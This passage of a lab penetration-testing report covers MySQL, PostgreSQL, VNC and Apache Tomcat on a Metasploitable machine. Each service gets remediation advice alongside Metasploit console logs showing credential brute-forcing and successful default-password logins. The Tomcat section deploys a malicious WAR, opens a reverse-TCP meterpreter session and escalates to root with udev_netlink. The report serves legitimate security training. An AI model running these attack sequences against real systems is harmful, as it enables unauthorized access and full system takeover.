  License: Metasploit Framework License (BSD)
  Rank: Normal

Provided by:
  kris katterjohn <katterjohn@gmail.com>

Check supported:
  No

Basic options:
  Used when connecting via an existing SESSION:

    Name      Current Setting  Required  Description
    SESSION          no        The session to run this module on
```

```
msf auxiliary(scanner/mysql/mysql_version) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf auxiliary(scanner/mysql/mysql_version) > run
[*] 192.168.0.105:3306 - 192.168.0.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] 192.168.0.105:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mysql/mysql_version) > use auxiliary/scanner/mysql/mysql_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):
=====
Name      Current Setting  Required  Description
ANONYMOUS_LOGIN  false      yes      Attempt to login with a blank username and password
BLANK_PASSWORDS  true       no       Try blank passwords for all users
BRUTEFORCE_SPEED 5         yes      How fast to bruteforce, from 0 to 5
CreateSession  false      no       Create a new session for every successful login
DB_ALL_CREDS  false      no       Try each user/password couple stored in the current database
DB_ALL_PASS  false      no       Add all passwords in the current database to the list
DB_ALL_USERS  false      no       Add all users in the current database to the list
DB_SKIP_EXISTING  none     no       Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD      no        A specific password to authenticate with
PASS_FILE     no        File containing passwords, one per line
Proxies      no        A proxy chain of format type:host:port[,type:host:port][,...]. Supported proxies: sapni, socks4, soc
RHOSTS      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
RPORT      3306     yes       The target port (TCP)
STOP_ON_SUCCESS  false     yes      Stop guessing when a credential works for a host
THREADS      1         yes      The number of concurrent threads (max one per host)
USERNAME      root     no       A specific username to authenticate as
USERPASS_FILE  no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS  false     no       Try the username as the password for all users
USER_FILE     no        File containing usernames, one per line
VERBOSE      true      yes      Whether to print output for all attempts
```

```
msf auxiliary(scanner/mysql/mysql_login) > set BRUTEFORCE_SPEED 3
BRUTEFORCE_SPEED => 3
msf auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /root/Passwod.txt
PASS_FILE => /root/Passwod.txt
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf auxiliary(scanner/mysql/mysql_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(scanner/mysql/mysql_login) > run
[-] 192.168.0.105:3306  - Msf::OptionValidateError One or more options failed to validate: USER_FILE, PASS_FILE.
msf auxiliary(scanner/mysql/mysql_login) > 
```

## PostgreSQL Exploit

### Description:

Port 5432 is the default port used by PostgreSQL (Postgres) database servers to accept client connections. A PostgreSQL exploit typically arises when the database service is exposed to untrusted networks or configured insecurely. Common risk factors include weak or default

login credentials, excessive user permissions, insecure authentication methods, insufficient network access controls, and outdated PostgreSQL versions containing known security vulnerabilities. Attackers often scan for exposed Postgres services to gain unauthorized access to valuable backend data.

#### **Impact:**

If PostgreSQL running on port 5432 is compromised, attackers may gain the ability to view, steal, modify, or delete sensitive information stored in the database. In more advanced attacks, adversaries can create unauthorized database accounts, escalate privileges, or exploit vulnerabilities to execute system-level commands. A breached PostgreSQL database can also lead to complete application compromise, data leakage, service downtime, and loss of data integrity.

**Severity:** High

#### **Remedial:**

To minimize PostgreSQL-related security risks, access to port 5432 should be restricted using firewall rules so that only trusted hosts or internal networks are permitted to connect. Strong authentication controls must be enforced, including complex passwords and rolebased access control, and unnecessary or default accounts should be removed. PostgreSQL servers should be regularly updated with the latest security patches, and encrypted connections using SSL/TLS should be enabled to protect data in transit. Continuous logging, proactive monitoring, and routine security audits are critical for detecting unauthorized access and reducing the likelihood of exploitation.

#### **PUC:**

```
[root@kali] - [/home/divya]
# nmap -sV 192.168.0.112 -p 5432
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-02 12:32 +0530
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.46 seconds
```

```
msf > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/postgres/postgres_login) > show options
Module options (auxiliary/scanner/postgres/postgres_login):
Name          Current Setting  Required  Description
----          -----          -----  -----
ANONYMOUS_LOGIN    false        yes      Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no       Try blank passwords for all users
BRUTEFORCE_SPEED  5           yes      How fast to bruteforce, from 0 to 5
CreateSession     false        no       Create a new session for every successful login
DATABASE         template1    yes      The database to authenticate against
DB_ALL_CREDS    false        no       Try each user/password couple stored in the current database
DB_ALL_PASS      false        no       Add all passwords in the current database to the list
DB_ALL_USERS     false        no       Add all users in the current database to the list
DB_SKI_EXISTING  none        no       Skip existing credentials stored in the current database (As
```

```

msf auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(scanner/postgres/postgres_login) > set USER_AS_PASS false
USER_AS_PASS => false
msf auxiliary(scanner/postgres/postgres_login) > set USER_AS_PASS true
USER_AS_PASS => true
msf auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf auxiliary(scanner/postgres/postgres_login) > run
[!] 192.168.0.105:5432 - No active DB -- Credential data will not be saved!
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - Login Successful: postgres@template1
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: scott:scott@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.105:5432 - 192.168.0.105:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)

```

## Port 5900 – VNC Exploit

### Description:

Port 5900 is commonly used by VNC (Virtual Network Computing), a remote desktop technology that enables graphical control of a system over a network. Exploitation of VNC services typically occurs when weak or default passwords are used, authentication is disabled, or connections are not encrypted. In insecure or intentionally vulnerable environments such as Metasploitable, attackers can directly connect to the VNC service using tools like *vncviewer* and gain unauthorized access to the system's desktop interface.

### Impact:

When VNC running on port 5900 is compromised, attackers may gain full graphical control of the affected system. This level of access allows them to view confidential information, run commands, alter system configurations, install malicious software, and potentially escalate privileges to gain root-level access. Unauthorized VNC access can ultimately result in complete system takeover, data compromise, and serious security incidents.

### Severity: High

### Remedial:

To mitigate risks related to VNC exploitation, strong and unique passwords must be enforced, and VNC authentication should never be left disabled. Wherever possible, VNC connections should be secured using encryption or tunneled through SSH. Access to port 5900 should be restricted using firewalls, allowing connections only from trusted IP addresses or internal networks. If VNC is not required, the service should be disabled entirely. Regular security reviews, patching, and monitoring of remote access services are essential to prevent unauthorized VNC access.

### PUC:

```

msf auxiliary(scanner/postgres/postgres_login) > search vnc
Matching Modules
=====
#  Name
0  auxiliary/scanner/vnc/ard_root_pw
1  auxiliary/server/capture/vnc
2  payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4
3  payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid
4  payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4
5  payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid


```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/vnc/ard_root_pw	.	normal	No	Apple Remote Desktop Root Vulnerability
1	auxiliary/server/capture/vnc	.	normal	No	Authentication Capture: VNC
2	payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4	.	normal	No	HTTP Fetch, Bind TCP Stager (RC4)
3	payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid	.	normal	No	HTTP Fetch, Bind TCP Stager with UUID
4	payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4	.	normal	No	HTTP Fetch, Reverse TCP Stager (RC4)
5	payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid	.	normal	No	HTTP Fetch, Reverse TCP Stager with UUID

```

msf auxiliary(scanner/postgres/postgres_login) > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Acc
PASSWORD		no	The password to test
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/vnc_pa sswords.txt	no	File containing passwords, one per line

```
msf auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf auxiliary(scanner/vnc/vnc_login) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/vnc/vnc_login) > run
[*] 192.168.0.105:5900 - 192.168.0.105:5900 - Starting VNC login sweep
[!] 192.168.0.105:5900 - No active DB -- Credential data will not be saved!
[+] 192.168.0.105:5900 - 192.168.0.105:5900 - Login Successful: :password
[*] 192.168.0.105:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/vnc/vnc_login) > █
```

```
[root@kali]~[/home/divya]
# vncviewer 192.168.0.105
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
 32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
 32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```

```
root@metasploitable: /#
root@metasploitable:/# ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:e2:2f:dc
          inet addr:192.168.0.105  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee2:2fdc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:672 errors:0 dropped:0 overruns:0 frame:0
          TX packets:641 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:57175 (55.8 KB)  TX bytes:299203 (292.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:132 errors:0 dropped:0 overruns:0 frame:0
          TX packets:132 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:38201 (37.3 KB)  TX bytes:38201 (37.3 KB)

root@metasploitable:/#
```

## Port 8009 & 8180 – Apache Tomcat Exploit

### Description:

Ports 8009 and 8180 are commonly linked to Apache Tomcat services. Port 8180 is frequently used to host Tomcat-based web applications and the Tomcat Manager interface, while port 8009 is utilized by the AJP (Apache JServ Protocol) connector that integrates Tomcat with external web servers. Security issues arise when Tomcat is poorly configured, default or weak credentials are in use, or the AJP service is exposed without proper protection. Attackers may exploit the Tomcat Manager to deploy malicious WAR files or abuse AJP vulnerabilities such as **Ghostcat (CVE-2020-1938)** to access sensitive files or achieve remote code execution.

### Impact:

Successful exploitation of Tomcat services on ports 8009 and 8180 can grant attackers unauthorized control over web applications and the underlying server. This may allow them to upload malicious content, execute system commands, deface websites, or steal sensitive data. In severe cases, attackers can fully compromise the server and use it as a pivot point to move laterally within the network, leading to broader security breaches and operational disruption. **Severity:** High

### Remedial:

To reduce Tomcat-related security risks, access to ports 8009 and 8180 should be restricted through firewall rules and exposed only to trusted hosts. The AJP connector should be disabled if it is not required, or secured using strong secrets and proper configuration. Default Tomcat credentials must be removed, and strong authentication should be enforced for the Tomcat Manager interface. Tomcat servers should be kept up to date with the latest

security patches, and unnecessary management interfaces should be disabled in production environments. Regular security assessments, log monitoring, and system hardening practices are essential to prevent Tomcat exploitation.

## PUC:

```
msf > use exploit/multi/http/tomcat_mgr_deploy
^[[B^[[B^[[B^[[B^[[B[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):
Name          Current Setting  Required  Description
HttpPassword   tomcat          no        The password for the specified username
HttpUsername   tomcat          no        The username to authenticate as
PATH           /manager        yes      The URI path of the manager app (/deploy and /undeploy will be used)
Proxies         None            no       A proxy chain of format type:host:port[,type:host:port][ ... ]. Suppo...
RHOSTS          192.168.0.105  yes      The target host(s), see https://docs.metasploit.com/docs/using-metas...
RPORT          80              yes      The target port (TCP)
SSL             false           no       Negotiate SSL/TLS for outgoing connections
VHOST          None            no       HTTP server virtual host
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.0.105
RHOSTS => 192.168.0.105
msf exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf exploit(multi/http/tomcat_mgr_deploy) > run
[*] Started reverse TCP handler on 192.168.0.113:4444
[*] Attempting to automatically select a target ...
[*] Automatically selected target "Linux x86"
[*] Uploading 6225 bytes as YasUqx6FZgAZgUN4vZ8.war ...
[*] Executing /YasUqx6FZgAZgUN4vZ8/U68iWVlZQqAdyV8JtqSyY.jsp ...
[*] Undeploying YasUqx6FZgAZgUN4vZ8 ...
[*] Sending stage (58073 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.113:4444 → 192.168.0.105:40038) at 2026-01-02 12:54:01 +0530
```

```
meterpreter > getuid
Server username: tomcat55
meterpreter > clear
[-] Unknown command: clear. Run the help command for more details.
meterpreter > background
[*] Bounding session 1...
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):
Name          Current Setting  Required  Description
HttpPassword   tomcat          no        The password for the specified username
HttpUsername   tomcat          no        The username to authenticate as
PATH           /manager        yes      The URI path of the manager app (/deploy and /undeploy will be used)
Proxies         None            no       A proxy chain of format type:host:port[,type:host:port][ ... ]. Suppo...
RHOSTS          192.168.0.105  yes      The target host(s), see https://docs.metasploit.com/docs/using-metas...
RPORT          8180           yes      The target port (TCP)
SSL             false           no       Negotiate SSL/TLS for outgoing connections
VHOST          None            no       HTTP server virtual host
```

```
msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.0.113:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: java
[!] * unloadable Meterpreter extension: stdapi_fs
[*] Attempting to autodetect netlink pid ...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2377
[*] Found netlink pid: 2376
[*] Writing payload executable (207 bytes) to /tmp/hRnEEFYBY
[*] Writing exploit executable (1879 bytes) to /tmp/RAPqYsHxBh
[*] chmod'ing and running it ...
[*] Sending stage (1062760 bytes) to 192.168.0.105
[*] Meterpreter session 2 opened (192.168.0.113:4444 → 192.168.0.105:47141) at 2026-01-02 13:00:54 +0530

meterpreter > getuid
Server username: root
meterpreter > shell
Process 4787 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
s
/bin/sh: line 2: s: command not found
ls
bin
boot
```